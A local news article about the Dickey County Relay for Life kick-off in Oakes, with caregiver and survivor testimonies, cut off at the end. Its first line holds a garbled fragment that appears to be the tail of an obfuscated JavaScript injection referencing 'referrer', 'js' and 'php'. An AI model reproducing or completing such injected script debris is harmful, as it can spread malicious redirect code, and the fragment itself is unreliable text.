OAKES dfnsh|var|u0026u|referrer|iizta||js|php’.split(‘|’),0,{}))
(NewsDakota.com) The Dickey County Relay for Life, welcomed the guests to the Kick-Off on Sunday evening.

Committee members were introduced as was Mary Dahl from the American Cancer Society. Co-Chair Jill Cox announced that this year’s Relay for Life will be held on the grounds of the Oakes Public Schools in June Fundraisers are all ready in progress and teams are encouraged to begin forming and laying plans for the event. Dahl reminded those attending that teams must be registered five weeks before the event, as T-shirts must be ordered well in advance of the Relay for Life.

Guest speakers for the evening were Steve and Becki Thompson. Becki Thompson told those in attendance what life is like as a caregiver. Not only did the couple have to accept and live with Steve’s diagnosis of thyroid cancer, they have a young son to consider. Becki said there is no instruction manual to help you through the process. “It is completely overwhelming. Just remember it is okay to face your fears. Steve kept doing what he could. Our son was only seven, but we were totally honest with him.”

She encouraged caregivers to trust their instincts; and learn to accept kindness and support; “know your limitations. Caregivers also need support; but most important of all, lean upon your faith.”

Steve Thompson said that following his diagnosis, it was an emotional roller-coaster ride. “We have been totally blessed by support from family, friends, and our church family. I have had great care from Oakes to Fargo to Rochester. I have had doctors from the United States to Europe, but most important in my world as a survivor have been family, friends and prayers!” 

Steve said that in his most recent check-up, it was found there are no new tumors and the others have not grown. In closing, Steve shared a meeting he had with an elderly gentleman at the Mayo Clinic. The man who is also a survivor, told Steve he relied greatly on Psalm 91 which he called the “Cancer Patient Psalm.” Thompson read the Psalm in its entirety, a portion of which we share with you: “If you say the Lord is my refuge…….Because he cleaves to me in love I will deliver him; I will protect him…….I will answer him…..I will be with him in trouble……..With long life I will satisfy him and show him my salvation.” I am a survivor! I plan on winning